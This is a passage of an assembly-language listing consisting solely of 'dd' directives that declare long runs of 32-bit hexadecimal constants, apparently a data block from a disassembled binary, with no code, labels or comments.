		dd 51098A66h, 0B2D501A5h, 0D8C98DDEh, 8700BC71h, 0CC57FFA2h
		dd 0D4388E7h, 454BDD24h, 21D2C8EEh, 0DAA9D628h,	37B5612Eh
		dd 9DB4C707h, 0E2FE7F20h, 0C988A959h, 371CDE40h, 114D008Ah
		dd 0F9094C6Ch, 0DA147BF0h, 0CC041Dh, 0F19222AAh, 1F9D468Fh
		dd 791F36D9h, 0B4356A00h, 765BC691h, 7A09DE00h,	1D32156Dh
		dd 125A9214h, 40E1193Ah, 0BA9DF543h, 772428D5h,	0B7808A80h
		dd 0AE89DF02h, 5C311DC9h, 8CE1410Fh, 24F226FFh,	3B847B85h
		dd 1E005362h, 65C09639h, 700FFC38h, 607C9FDFh, 353DAF15h
		dd 42662F09h, 8700EFDCh, 0CF0CD5B2h, 0A0D9791Eh, 1A95E8Ah
		dd 0D0530528h, 0DCAAEFBBh, 0B239C8FBh, 7B0F1397h, 63906521h
		dd 5F54ECh, 26DB6B0Ah, 6DC89E41h, 760D4001h, 2F5A6D3h
		dd 66F4E0h, 0E2F7782Dh,	618EA9BFh, 0FD582E01h, 8776977Ch
		dd 55259Ch, 0C295381Dh,	401D1B71h, 8C40A65Bh, 0FEDFAC81h
		dd 721100E6h, 273C1F75h, 0CB7A6E04h, 0D94348h, 0F632DF25h
		dd 986586BEh, 6FF00331h, 780EDDAAh, 0E77DB098h,	0AEC3440Ah
		dd 190AB181h, 1100FA34h, 45FFF707h, 0A8865464h,	0C0E7994Bh
		dd 9DCA0891h, 0FE0000B0h, 4FB7C9BBh, 4F0A1CEh, 6B0B2326h
		dd 101582A8h, 80A33549h, 80AC61DAh, 985BCBB1h, 16ED616Ch
		dd 0E8F82DE2h, 0EC60DD1Ah, 1C9D5212h, 0BEA30F58h, 0A14E451Bh
		dd 0EF24D9A0h, 86EEB7DAh, 6800FEF2h, 5DA2E8CDh,	0EAABC10Eh
		dd 3A6F01F2h, 0A386DA0Dh, 0F820D422h, 24BF944Ch, 5C406A75h
		dd 5CE1F1AAh, 4C009CB4h, 0EAED9ECBh, 1201FBB0h,	10E79845h
		dd 27EC044Fh, 0A13A0E7Bh, 25A01FE3h, 528EBBF0h,	0AEE49F00h
		dd 0CAD8BE41h, 1F5518EAh, 8A6F2066h, 918E6918h,	0A5E240h
		dd 0BE3F2272h, 0E7B46AF9h, 0D00EB76h, 92FBF4CAh, 0E380BCh
		dd 11D32A02h, 570CD051h, 0C3654218h, 0AACCB1h, 0BFA2F5EFh
		dd 7EAC5D8Ah, 50B34550h, 0E5781D1Ch, 55C1531Fh,	0DA66F543h
		dd 0F6AB8980h, 3D186E11h, 87DD1002h, 0E00ABFA4h, 243B5191h
		dd 80525E32h, 0D784699Eh, 0E60E99Ah, 0E80FC047h, 4F0CCF42h
		dd 0A021D6A0h, 15C0F1FFh, 0AE938EC9h, 0D275000Bh, 5D2A7FEDh
		dd 2754647Ch, 783F3DD9h, 0E4950CEBh, 74B35713h,	853A8802h
		dd 8B0CC101h, 22371268h, 0D3B9F4h, 0B474BA94h, 574FB11Bh
		dd 0D4892B00h, 0D7C28E0Fh, 1DCE07FBh, 20076571h, 0AF5237ECh
		dd 0C590D90Ch, 98818C5Ah, 0CF0400F6h, 0E7BCB59Ah, 0F700A298h
		dd 91FDAEDBh, 46AFA77h,	82752663h, 0AD3A8157h, 0FEB3F0F8h
		dd 0E394D106h, 7E185814h, 0D0E5141Bh, 7CC2C7h, 5B8905B6h
		dd 0FC46B17h, 65872A2Eh, 0E284E7E0h, 890609FBh,	17005734h
		dd 285A3CD3h, 0AD2ED113h, 243D01AEh, 70BF9AF1h,	700E06B6h
		dd 0A243F0D5h, 0C122A255h, 3570256Bh, 0CE350083h, 0D95A0FD3h
		dd 2BB29EB6h, 0DCC16403h, 93082339h, 0A8A9EB8Bh, 0C0ADBA8Fh
		dd 0DFB5D88Dh, 12004F7Ch, 0EA719661h, 12ECA106h, 9029866Bh
		dd 0CED79070h, 1B3E5302h, 0B0FD9336h, 4116A4h, 0A5E01E6h
		dd 0D3A74A2Fh, 0F093780Fh, 31D4E0A4h, 17FC67h, 593E2174h
		dd 4EC83F7h, 241C891Ch,	0C381E3C5h, 0EBF97BE5h,	1C8087F9h
		dd 0E289525Ch, 10A3C281h, 683EAB2h, 265B1487h, 0B8169110h
		dd 0E56E834h, 0A91FEC68h, 0F7465E00h, 0F60381DEh, 0F945F2C5h
		dd 242CB856h, 6B233C03h, 6055894h, 66685E1Eh, 24898E16h
		dd 0CB80832Dh, 8B951E8h, 0F6C13FA0h, 66903C07h,	0E985F101h
		dd 2689080Fh, 0C8CFF59h, 4C4835Eh, 8141580Fh, 0FE94592h
		dd 54C0FC30h, 0A6D87971h, 9593B20Fh, 402620DCh,	1807B8h
		dd 0C5030613h, 82A2E0FFh, 0CF0012F0h, 841AA510h, 280EC2h
		dd 7311A1E4h, 797D4326h, 4ABB5007h, 0D900293Bh,	3BEAA62h
		dd 0B74060ADh, 8D8874C4h, 293D1368h, 0E638003Ch, 1843E1F2h
		dd 5C470033h, 7DAA42C3h, 8996C18Bh, 216465Eh, 9FB55A8h
		dd 2B50FF95h, 8B441897h, 333530B5h, 0BF665718h,	0B197C7E6h
		dd 80EC9038h, 33A17AAh,	4E1FC850h, 5F486700h, 0B9068386h
		dd 905925EFh, 9CC177CDh, 0E1FC5C2Fh, 0EE900C3Dh, 664AFA8Bh
		dd 0BDF810Eh, 8CA6F25Bh, 14DEB8F0h, 1EBF13Ch, 20AA096Fh
		dd 0E484FB8Bh, 0B8131A6Eh, 8C1DE867h, 6D763800h, 0D80ED592h
		dd 2F84F025h, 9D78529h,	0F0070FDh, 0FA8FAFBFh, 1DEE5B2h
		dd 2F12E9BBh, 4BDF6237h, 56A04225h, 0DB65E9B4h,	64621C64h
		dd 0EDE32440h, 54EECE0Ch, 0AAE56078h, 6BA856F5h, 0D1C9ADEDh
		dd 8B666227h, 7AD35EE1h, 0BBAC2ABDh, 0A313654Fh, 0BCB34F12h
		dd 0DFE9F809h, 78C58071h, 21C8E156h, 0EFC30116h, 0A12A7983h
		dd 873C2E42h, 0ACA5866Fh, 0D4601BC4h, 0BF774565h, 0B193EE17h
		dd 965C90AAh, 90253950h, 162241AAh, 1BF15E02h, 0E401C200h
		dd 0FFF2230Dh, 5B70FF4h, 699D8BF8h, 29ADB408h, 0A8742EEDh
		dd 8BC0029Bh, 60F513F9h, 81852B0Ch, 0EEBD6522h,	2E61811Ah
		dd 0A657CF48h, 7537F5h,	16BD83F9h, 0A788194Bh, 3051890Bh
		dd 7B1DED1Bh, 0C4A5E95Fh, 118816Bh, 0E850BD7Ah,	0E108019Ah
		dd 5776C219h, 99066A29h, 0A12731E9h, 3849F23Bh,	1C911FC2h
		dd 0B8924E80h, 0D41DAF0Dh, 8D544845h, 0BD89C1CCh, 2D2E0AF9h
		dd 88CC0BA4h, 32C8C019h, 0EF2F0207h, 9020FD28h,	0AADE9676h
		dd 0BD443F02h, 200FE9E7h, 20CF1E58h, 0B7E5F700h, 60BE31ABh
		dd 53541477h, 522C0DEh,	3C4B1704h, 0D1B84C8Ch, 18A28643h
		dd 0C6F80631h, 88994B52h, 5595A9CFh, 6A042BBDh,	0EDB96BAFh
		dd 8C1AACh, 0C107C750h,	60C9BAA9h, 619D8909h, 0F76C272Ah
		dd 7A6BE46Bh, 1ADE018Eh, 0F242CBE6h, 7B31DCDFh,	5DD2B407h
		dd 90E32B30h, 2025A50h,	310FFE6Dh, 0D847C9D4h, 0B8DE7480h
		dd 884700C9h, 35627B57h, 58135A10h, 796F905Fh, 5CAE7913h
		dd 86AA49Bh, 0F942037Eh, 0DE9274B0h, 79257B00h,	0CD6C1074h
		dd 870F2760h, 7FE3E7C6h, 0C700B1EDh, 3059B4D8h,	1903C1D7h
		dd 447C2AE2h, 7D4B918h
		dd 41414530h, 0D1BE611Bh, 2332288h, 9C6775BFh, 26565E0Eh
		dd 15467456h, 43CE713h,	52C2546h, 0A6EB71E4h, 0F80AB09Dh
		dd 0CE922ACh, 0B3407F0Eh, 266C40EFh, 7F14C068h,	0B60F2F83h
		dd 2AA37DFh, 0FD9B8DB5h, 245D8C82h, 899B5109h, 8179FABFh
		dd 873CF400h, 572066Ah,	8B6ECF2Ch, 4FA2FEC3h, 0D1BD2904h
		dd 822EBC2Fh, 0CA15B523h, 2F135C58h, 9E8F35F7h,	9FA81D9Bh
		dd 0FA48053Bh, 0E5E2FA7Ah, 9100AC58h, 2B09E1E3h, 0B52D31D8h
		dd 93C441A5h, 4A41EB31h, 4D33505Fh, 89DF5300h, 0FAC3B3F4h
		dd 0BE662300h, 935E7FC0h, 311A95F5h, 2925C882h,	32EC17DCh
		dd 0B08B38E4h, 3FC06C4Ch, 0F816A6B4h, 0E15B2800h, 213A2FEAh
		dd 604324E0h, 92F52F2Dh, 84108947h, 0F2250C55h,	0B50B04FDh
		dd 93B82C91h, 9E29D3CBh, 7580D237h, 0A656974Eh,	881C9210h
		dd 9F135Ch, 7EC68850h, 47808230h, 590C8904h, 0B8C86D8h
		dd 55B51603h, 0BED3331h, 0B2C30D31h, 643A1289h,	3EF76B2Eh
		dd 0D3B380C6h, 258EBADCh, 0D65EBF5Eh, 6DA5244Ah, 0F071CB47h
		dd 0D73AD813h, 2C091523h, 11E47194h, 12EE5C0Bh,	0C3E2CB57h
		dd 94B0C54Ah, 22A6AD88h, 88574AF3h, 5001EFFh, 0F7D29652h
		dd 0CF0227h, 0C10C1164h, 241CB7C0h, 5EFA3409h, 929F705Fh
		dd 2B1D4130h, 2EBE8122h, 0D49D0281h, 5F4D623Dh,	3E4F6FEEh
		dd 4BF7013Ah, 311BFAF2h, 81268420h, 0F0DF765Bh,	98E8E9B4h
		dd 68922BDh, 31ED23A0h,	622B5F80h, 32E912C3h, 4B51B25Ch
		dd 782C35ABh, 0BE028D56h, 0AAB8E9A4h, 85C64149h, 0BE0B5145h
		dd 0DCECD710h, 9A542001h, 0F53CE243h, 4B812B70h, 60B1C9ACh
		dd 2F40CDA3h, 12C0788Bh, 0E6272985h, 208421E8h,	1E920DFh
		dd 279FF5B0h, 1192DB65h, 8E73FF75h, 98924758h, 22989FD8h
		dd 5906662h, 0A1ED3324h, 1BB1B505h, 1E35412h, 98618C8h
		dd 952151BDh, 6610E59Ah, 6525BD33h, 70CAC530h, 5C908716h
		dd 5B0F89B5h, 1CCDA7CDh, 0CD905E42h, 2228EBBEh,	32A909D5h
		dd 2B9D3069h, 9AFFBC17h, 0ED28C0A3h, 0E26743B5h, 8D31095Bh
		dd 8E79053Dh, 0E91814D9h, 1BC41CA5h, 0F0AE5761h, 5B16D272h
		dd 6302AD43h, 0D789C9DEh, 9279EB63h, 57DB4809h,	70B8F33Dh
		dd 23F2E13Ah, 0BBFB200Ah, 0F107E92Fh, 632C8D09h, 2D952C89h
		dd 0C310A715h, 6D0BE25Ah, 0FD3E1A46h, 0B0829762h, 53F70B01h
		dd 9C9878D3h, 318261Ch,	0C2A5E95Eh, 3853FFCAh, 3A062370h
		dd 8B970259h, 9CC9AFC1h, 4868FBE1h, 0FBC9BCDFh,	42EB184h
		dd 90F98529h, 4E344Fh, 8BC839C5h, 87B590F7h, 8ED7DF26h
		dd 0F26CFDFBh, 0E50DBE00h, 0DB3F07D5h, 59EB05EFh, 0FB905061h
		dd 99B053B6h, 3C0B22D1h, 0D9A21CB5h, 20B60705h,	172810D4h
		dd 97003F73h, 0E31D8651h, 55A5D089h, 76A4EE52h,	5E0C11EAh
		dd 0C74230EFh, 0EF244753h, 0E4AD9E55h, 0E7C001D6h, 0B287548Bh
		dd 3887405Eh, 64D1324h,	38A8BCF1h, 0DD026133h, 4D3A13B7h
		dd 64A75CD0h, 0E4601A44h, 0BF5028ACh, 0F83B6FE0h, 79FB0E50h
		dd 489023Fh, 70BC5324h,	1F24CAEDh, 0FD1FBAB0h, 0FFF00FDAh
		dd 0EA708FF3h, 0E19D1489h, 561C2408h, 88589360h, 5B05E2A2h
		dd 613898B3h, 2EA57EE8h, 71623AAh, 597636BBh, 0B4002CC4h
		dd 261BDE69h, 14F431Dh,	0BD131041h, 0D0235F6Ch,	0FD921CA1h
		dd 5A39B538h, 0F41CDE75h, 0FF0B1850h, 57D3F9D3h, 8D53185Ah
		dd 0BE1D480Ch, 98EF9535h, 0EDF8033Ch, 5AE92140h, 42CA38C6h
		dd 0BD3C2441h, 0DB1A53F2h, 0E6605016h, 3DA75100h, 8B2E4306h
		dd 8CB14D9Dh, 729AAA4Ah, 3DD280DFh, 56AAAF43h, 1A25B32Dh
		dd 0CD3986BAh, 91939EC7h, 6214A8Eh, 0A8F43CBCh,	235600DAh
		dd 26E5C42Dh, 0C6266537h, 0FD08DE71h, 0BD83021Dh, 0A6D1225Eh
		dd 9CEF3D17h, 0AB003AB0h, 9BB4026Ah, 7E6CBFAh, 22305E1Ah
		dd 0A36FE025h, 715EE9CAh, 16E37AFBh, 0A08934D8h, 0D89A94A7h
		dd 0BB00FC51h, 821231B7h, 0C021249Ah, 1481080Fh, 5D20552Ah
		dd 28E93201h, 2A93F835h, 0C23B124Ah, 3E051523h,	0F3348D23h
		dd 4FF1B2h, 99E45D7Dh, 830BCA19h, 4E1DE2AAh, 0C0B59DCEh
		dd 0BF669E01h, 0A1684AACh, 2409C15Eh, 88866893h, 2526A48Ah
		dd 51CFC257h, 0B3C2AF21h, 0C9004DD9h, 2214C18h,	0C7440BF9h
		dd 50B310Fh, 604FAFF0h,	4EF188h, 0DE6E3643h, 5E3ED472h
		dd 0BD568C04h, 0A18452F1h, 0ECCA827h, 0B9668804h, 6130170Bh
		dd 0C069ED90h, 0B320AB48h, 9A314F01h, 0F9A0BC7Eh, 0B8424C50h
		dd 0A9EE3D5Dh, 0FDCF1180h, 2A7187E9h, 954C09E8h, 8C5E8F53h
		dd 90FC9921h, 0B0FA3832h, 6F70E617h, 893515DEh,	71E41630h
		dd 0F7F0F8E6h, 0E16593Ah, 7BE7B394h, 8EBF5303h,	5FE89688h
		dd 8794C38Bh, 0F1D701DCh, 65B58BC4h, 8FEE3825h,	1A112429h
		dd 2B12CAE2h, 0D92004D8h, 930901h, 50B11D3Ch, 0BCF0788Bh
		dd 200DC9Ch, 0BB6E1DD3h, 48C4D450h, 2C251F29h, 0A9C3C96h
		dd 0CC3109D4h, 5F0C335Ah, 0B4F3DE6h, 2018F676h,	0FE822A0Dh
		dd 0E9E1486Dh, 0FE454D68h, 22448FF5h, 0ACB4A9AAh, 928F042Fh
		dd 85ECAE0Fh, 0E07EF621h, 341CE7h, 68866272h, 0F8B8D620h
		dd 0A68B37B4h, 4090CF02h, 31E3F668h, 729A3A1h, 0BCF6B624h
		dd 61835FF1h, 6909C95Fh, 4E1922CBh, 594931BAh, 4BBF3901h
		dd 717A76Eh, 0E90F0ED3h, 5FBF0EB0h, 2F10A937h, 0F35D5E7Dh
		dd 8D12A067h, 0E59F4Eh,	229B7CAFh, 2BDAC0EEh, 94A9BD2Ch
		dd 91415F92h, 160D9D01h, 23683F7Bh, 0EBD40015h,	0FF18589h
		dd 0CD584AC9h, 0C8FEC04Ah, 30A682Fh, 0AAF8DF53h, 4F05750Ah
		dd 0A488173Ah, 0BCDB7051h, 0AA0E628Fh, 52F41701h, 0DCCF5CC9h
		dd 97982802h, 0C0423EF0h, 80118DD6h, 8BB6C183h,	0D0D102DEh
		dd 3E10365Dh, 0F6019951h, 0B5D754DBh, 1F2ADE69h, 58607785h
		dd 0C8962381h, 7C0E1190h, 20A21E15h, 29C2CAFEh,	963D949Dh
		dd 0F8DF8261h, 0C91ADAD1h, 70CF7B3Bh, 955829D5h, 3ADE4D6h
		dd 3D01A5B8h, 603CFF8Ch, 377ABEC5h, 1771A72Eh, 6A5FE06Ch
		dd 1A7E6DCEh, 9200EF72h, 0D5BB694Bh, 96C32BBDh,	3601DCB5h
		dd 0A5338CB1h, 0B7309953h, 28125B2Dh, 0EA8B3000h, 8820D980h
		dd 0E90B2C39h, 0D857DB4Ch, 0EC0BA413h, 0D3C08BD3h, 0C5177082h
		dd 0D1AC5B06h, 209CEBFFh, 95962199h, 820A292Dh,	0DA08519Fh
		dd 0CB209504h, 1A6B259Fh, 8D8B6009h, 86D05895h,	9AAC1EC5h
		dd 0FF27C0ABh, 29B21461h, 0EFFB6400h, 3A72DC8Bh, 0C12A7D96h
		dd 9DB509C2h, 0A49A2B0Ch, 27A38529h, 0B079F28Bh, 0FCE56649h
		dd 2F0BDC83h, 0F98B85B0h, 2C03904Ah, 0F92923ECh, 21423319h
		dd 3FBE2005h, 6B5087DEh, 23D2858Dh, 3181A3DBh, 2ACCF8AAh
		dd 0CE523213h, 0B103016Fh, 8D9C552Bh, 9008AA94h, 0A7BF002Dh
		dd 8B7B14EBh, 0BC5EF85Dh, 59693A49h, 37C14D85h,	0F9628196h
		dd 0E86B3929h, 74C6266Eh, 1E8D08ABh, 0BD8B893Dh, 5EDDA721h
		dd 0CE815680h, 4A9BE80Eh, 3D5B26Ah, 50EC1351h, 0F22ED83Fh
		dd 0B5811FB3h, 876E01CFh, 0CDF95F5Eh, 0A9DB6060h, 3CD2B984h
		dd 0D1108E25h, 702579B8h, 0C07CCD61h, 7F94EAE4h, 0AC4BA705h
		dd 0CDA03FE9h, 0BCFD1EBEh, 0A960122Bh, 23B857h,	0F34B2C8Eh
		dd 0FC54061h, 0B9D7B712h, 6620A2C7h, 126562BEh,	59198D21h
		dd 0D669F274h, 7C4D180Ch, 377F9513h, 3E833B14h,	0AEE61765h
		dd 0C81447A0h, 2ACB803Ch, 24B03A8Bh, 0E183C709h, 55C63201h
		dd 1A227884h, 0CD460930h
		dd 0C03BC032h, 93099761h, 88456C28h, 20933A41h,	94ECFFADh
		dd 7CE4EA05h, 0D8EC61F5h, 432DA510h, 41D648B7h,	31EAD42Bh
		dd 975B0A2h, 0E7F4EDA3h, 380FF03Eh, 7C0987AEh, 0C8E89533h
		dd 4729A4h, 93AFC2A8h, 0BCA5F260h, 35AB126h, 238DB505h
		dd 12B5F227h, 4CC0989Eh, 9D03F25Eh, 0F5B72F18h,	822CDD5Eh
		dd 7BF35AFDh, 3CE1075Bh, 40C22FE2h, 1A0208D5h, 3087F205h
		dd 0BBC590F5h, 535FCDE4h, 81078E8Bh, 0E58CD7C6h, 1FD93231h
		dd 8914911Fh, 0D9870271h, 8180988Bh, 0AFC90BE3h, 0CE645624h
		dd 5EE4FC02h, 0A4347D5Ah, 0C8561C3Fh, 92FAA812h, 1A03E100h
		dd 554051C9h, 0DC2802A3h, 0CFAA8EF9h, 17318D82h, 8232140Ah
		dd 10C84CF1h, 10DCA0BFh, 8B1934C1h, 2AB510D6h, 38A9B684h
		dd 900A3B8h, 7C6CBB46h,	55F577E8h, 5C30328Bh, 1E6EA9D8h
		dd 0D087B3Bh, 600E823Eh, 0C6B65A05h, 0F936D4E0h, 602A82EAh
		dd 6A9D4FCBh, 701A53C2h, 0E19546CEh, 7E422CA7h,	0CFC788FEh
		dd 5232D117h, 37CD9AC6h, 36828685h, 81246EEFh, 5249B711h
		dd 0DCF09E75h, 0B7FEF609h, 0AE1E0CF0h, 499B98Dh, 0AB958529h
		dd 4E34A751h, 2D8014DBh, 0A331B11h, 0CD2062B8h,	0CFD29132h
		dd 2615DDE4h, 443B878Eh, 2C6F6115h, 4872883Bh, 0ED4D2703h
		dd 0E0CFDD88h, 0F03DE61h, 9A33AB29h, 64B798E1h,	0FB4B55B9h
		dd 9B3BC5E1h, 0CB95805Ah, 9F67B0Bh, 728ABB66h, 117E0C09h
		dd 318B04DCh, 0C2A4349Eh, 0B820F96Ch, 121CC6B3h, 9D85C742h
		dd 0B81A2944h, 350202C5h, 5B5FB330h, 5A65C284h,	0B7A4577Ah
		dd 0C0629B61h, 0EB279B9Fh, 9D611607h, 0EEFBD4E9h, 0E74AEB6Eh
		dd 0E984A42h, 0C4F94B85h, 0B8B8A9ACh, 560B0058h, 50F18BF2h
		dd 81E260CAh, 650ECE7Fh, 0E16673ADh, 6198D0DAh,	11EDF721h
		dd 0C430AA04h, 71285BC1h, 52200044h, 2DC60923h,	0F22FD149h
		dd 0A0F49051h, 15360088h, 0C546EE50h, 5171E804h, 5F5FF82Ch
		dd 1288C117h, 3E2C14E4h, 529F9E49h, 4305C07Fh, 0F6000B2Eh
		dd 8A9F82D3h, 322D67h, 0C75AFA1Dh, 60FB8FB2h, 982A4B00h
		dd 0C0D57008h, 63C6049Dh, 0AB682B4Eh, 84A73800h, 0F3A06Fh
		dd 0F11DB542h, 6A837A66h, 1A3D5300h, 889BBAEDh,	7F220007h
		dd 183B50EBh, 200E742h,	492E095Fh, 574EFA6h, 2764218Fh
		dd 62F876h, 8001B66Dh, 7D15ACBBh, 83D05FD8h, 80D46759h
		dd 1F4118A7h, 0D8EC300h, 9CB194EAh, 0DBDE6079h,	4DF0D548h
		dd 0E6133600h, 0B6FFF8A9h, 386D0103h, 52A55683h, 0DD1080B7h
		dd 1FC2A728h, 7EC0D77h,	0D4BC0E64h, 0E20CEDD2h,	445F7E0Dh
		dd 0BA85046Dh, 80A60998h, 0B03166ADh, 4F9CEB00h, 0B9EC1904h
		dd 68703A2h, 9DB8CEF1h,	1DA80B93h, 0BCC132DAh, 7E1FA055h
		dd 10809971h, 0F70E5DB2h, 0F00DA21h, 4E06394Ch,	543652D3h
		dd 171DDA82h, 0B07E1649h, 83A9F255h, 0E4AB403Dh, 0C625AB8Eh
		dd 3965BA5h, 8A95C164h,	88D7ACE0h, 9F5C2900h, 184EF963h
		dd 0F609E48Bh, 5DA40CC3h, 0B07C3FBBh, 9797D6BEh, 0FED4E4F5h
		dd 0D17E0063h, 0E981CA9Eh, 4095694Eh, 0BBDB29h,	0A18699BAh
		dd 578AB7ECh, 5E353E00h, 2C6116FBh, 11923A47h, 1A69BE00h
		dd 689588CDh, 7D7A2B18h, 18FDB2AFh, 0D7D81FD0h,	6895AA5Fh
		dd 980D2D3h, 4A53689Dh,	50A55954h, 0FE310CE4h, 97E9CA55h
		dd 4A78C00h, 9EE4C96Ch,	0AB0A0059h, 6E0538E5h, 85004ACBh
		dd 0B691E9E6h, 0E87EA1h, 93C5684Dh, 67306390h, 677CD0B7h
		dd 2223C337h, 24550889h, 0DC41F3B1h, 40BCA184h,	2BAC8FBBh
		dd 99AA7FF8h, 449889F6h, 30671CC6h, 2EB6DDE6h, 50300164h
		dd 0DB90E3A7h, 0CC10AA6h, 0A5AFE9h, 0C25DF79Ah,	1A016FDDh
		dd 58EA7E4Dh, 90EC59B2h, 6A24C167h, 0CB183347h,	74E8C4CBh
		dd 0B37CD015h, 0A030BE37h, 51F48B41h, 0CA68B4ECh, 409C9B97h
		dd 0B5404E8Ah, 0E69CD709h, 7FC300BCh, 0EC5CFFE4h, 0A0430028h
		dd 0C486BF6h, 0F00A7323h, 0DC3ED6BBh, 0E512C303h, 4ABE0001h
		dd 73486095h, 8309D714h, 18A93A8h, 4663117h, 8E0C20h, 0C1F63278h
		dd 0C5F227DCh, 4081925Fh, 39D13FC0h, 0BD20BEF5h, 4916066Bh
		dd 0C46668B0h, 9EB7F424h, 461ECA18h, 91107A91h,	53DB0E4Bh
		dd 0F9EA26C0h, 0B20548F6h, 0E413B4AAh, 964BAD40h, 0CCF7C61h
		dd 2B365F92h, 749F042h,	7B300236h, 8081D7FAh, 0EA751EC0h
		dd 0C620005h, 64394429h, 860FBF07h, 0E08C0F41h,	996EE71Ch
		dd 5BFD0FCAh, 0B204B3C8h, 0C476C020h, 6B000A4Fh, 4EF1D68Bh
		dd 48081D38h, 0C7000CE5h, 0F45057A6h, 60989066h, 0EE491F01h
		dd 85A0B6D9h, 967FDC8h,	193CDFC4h, 0D500E75Ch, 0F8CD654Ah
		dd 385C006Bh, 568B4025h, 3C034B90h, 0D586D9AFh,	0D570122h
		dd 210E2358h, 0F0812AF7h, 5B125C74h, 11456BFEh,	524C86h
		dd 0C3959EB9h, 4D082B60h, 24ED24Ch, 9AEE7F15h, 300755BFh
		dd 608EA9DBh, 0CE69FF40h, 0D0046E9h, 0CA8A2D12h, 3ADA7257h
		dd 91806605h, 1F6A7E4h,	0D7F2F538h, 268EBC49h, 4800C843h
		dd 73D6AC3Bh, 0A771165Eh, 0B3C400DFh, 3432C576h, 239534C0h
		dd 1C4AAEEh, 0C97E423Bh, 6A4E2C48h, 0E9F48757h,	31C62A77h
		dd 710648E2h, 3366A300h, 0DB7CFD60h, 0F3A1FC4Ah, 77997EE4h
		dd 0DA1500ECh, 0D7BC35A0h, 4200B556h, 26ED051Bh, 36FBACE9h
		dd 32101AFCh, 2B38FD03h, 0B02AA8F3h, 27D8B4Ch, 2FE492FCh
		dd 0E360CF02h, 0ABFE071Ch, 0B1919BCAh, 41467942h, 0AE07298h
		dd 9F200955h, 0E5542CFEh, 71B6AE38h, 435C9B06h,	1ED329F2h
		dd 0C7DC00BCh, 866BCEA4h, 428B6518h, 12326322h,	400B1641h
		dd 351A052Ch, 2063D788h, 0B8621745h, 546502h, 46C3FF3Ch
		dd 7BBD4786h, 753ABB04h, 0CD91D916h, 0D3C1D2C7h, 86EE24h
		dd 0CAAFB2E3h, 325FE015h, 85B8124h, 0ED9A6500h,	12A89FB1h
		dd 0E804E276h, 0E7EF00BFh, 0F52ADF6Ch, 176D0A10h, 80EC4F34h
		dd 0B6A9EB8Eh, 0E2563D1h, 2895871h, 1854910Ah, 93E06179h
		dd 0FC3B949Bh, 0DEA30459h, 96C09981h, 1E8F4A5h,	4F6AFB0Dh
		dd 237C859Ah, 7DD7005Bh, 82B56B17h, 5CD5B2D1h, 0D54C2D1Eh
		dd 590EF301h, 0D46814D8h, 0FA071969h, 3255A3BFh, 9075C7E3h
		dd 61AD4AFBh, 0CD823421h, 0DB626098h, 8DA28500h, 4C31146Ah
		dd 0D36C609Fh, 0B378199Ah, 1C162801h, 0C90665BAh, 4A8398E0h
		dd 6492A560h, 0C1009653h, 0EC4F25A2h, 77AAD7h, 0A0C344DFh
		dd 0F426FCAh, 5CDD781Fh, 88D31A13h, 6E2A0781h, 102D2EE6h
		dd 6D76F763h, 0D2D04595h, 8351A5FEh, 0B8B8FD05h, 4B68E82Ch
		dd 0F06A17FCh, 0BB0753FBh, 7C17357Ah, 815BDD90h, 288B3ECDh
		dd 0E20C0EB0h, 513ED51Dh, 0F6C5804Dh, 54863BF2h, 0F340D78Bh
		dd 27A14A92h, 438F6986h, 517A2508h, 0C181E115h,	870C6315h
		dd 8B9A200Ch, 0E900138Fh, 0FFFC485Ah, 7BC000D5h, 40CBAC55h
		dd 72011D8Fh, 0B8B23C91h, 8C2A35D7h, 0C63B9FC2h, 71C7802Bh
		dd 0D2FC0E6Ch, 22250E84h, 0B9818E8Fh, 804C09E6h, 72583622h
		dd 7D2410h, 0C214807h, 513B2CC2h, 919BA41Dh, 9358FD00h
		dd 3B0A06Dh, 3E2755C6h,	1BA97167h, 0A87B6007h, 4520D100h
		dd 1C3A9A0Ch, 1AD7EF4h,	1E4E1F12h, 0D899B09Fh, 3903EF59h
		dd 2ADD7906h, 0A4B4D847h, 0BF97519h, 75E909DFh,	5595C6D2h
		dd 11356419h, 0EF2A016Ah, 72E71460h, 0E1898912h, 5766DE9h
		dd 0CEFC1FEh, 200422D1h, 28C073Eh, 0EC0DA457h, 95FF1464h
		dd 3270741Ah
		dd 80947795h, 0C530DF08h, 2CA10AA9h, 30C1703Fh,	8CD50EA1h
		dd 7C6A5057h, 6E566805h, 0C3610E12h, 0F146E0CBh, 0A513D800h
		dd 672B9BF3h, 0E3D00DFh, 162CFF0h, 81E2A684h, 547DEE00h
		dd 665F418Fh, 18D37A8Bh, 4273F7C7h, 353EB9F5h, 0C5EBE25h
		dd 0C39E4F1h, 78B3DFCh,	0B5C7BB8Fh, 0B97F0A5h, 9F10C87h
		dd 68488A00h, 0E4BCA2h,	0B075231Eh, 98ABC025h, 2DD2E8E7h
		dd 6CF23AC0h, 0C66664F6h, 16B7E78Eh, 0AA0DC207h, 0BEC05055h
		dd 0B8F8261h, 870F5607h, 3C403B51h, 1EBEA7h, 45E33995h
		dd 835B5A2Dh, 4903EF2Ah, 0EE4C6F04h, 0C7BB52CAh, 97715108h
		dd 0E95DC63h, 408D9802h, 84B6604Fh, 0BCAE85AAh,	8361A1D3h
		dd 8593056Eh, 6013B57Ah, 0B07C778h, 624F6C36h, 41A73D40h
		dd 3FE716Fh, 0A3197AE8h, 83172E0h, 6720217Dh, 0FB511E83h
		dd 0DE885A3Ch, 89313F53h, 5E61203Eh, 15D95ECh, 705C3B93h
		dd 0FC688A39h, 0CD07FDBDh, 0A4D56561h, 5887504Ch, 2E3B853Ah
		dd 26391206h, 0B1600825h, 0F532E421h, 760500D8h, 0ABB38250h
		dd 79FC80B5h, 0A73B3900h, 1ABE3F14h, 321001CCh,	244261A1h
		dd 7051DBF7h, 980EEFBAh, 8018B3E8h, 3AB0306Eh, 2C9900D9h
		dd 66E59EA1h, 8B18E2FFh, 3D208190h, 0ED767BD3h,	0C611204Fh
		dd 89029F9Ah, 8ECA8CBh,	0B0BD0684h, 2ACFA91Eh, 89F4835Ch
		dd 16210235h, 0BF3A6466h, 0B765D081h, 22089879h, 736E7521h
		dd 50DE7F64h, 0F85788AFh, 0DE3EF032h, 0FC1D0020h, 0FBB46DA2h
		dd 0BC33457Dh, 2808E3h,	0A2F47E21h, 0DC2E761Ch,	0A82DDF00h
		dd 0DAB8BF67h, 0C898D069h, 3F016023h, 152E63F5h, 0E188BD18h
		dd 56F50737h, 82A70FB4h, 42240Ah, 60315024h, 236EA2FFh
		dd 2111E3B4h, 0A2F77D01h, 0D8999F54h, 0A60155CBh, 22142C33h
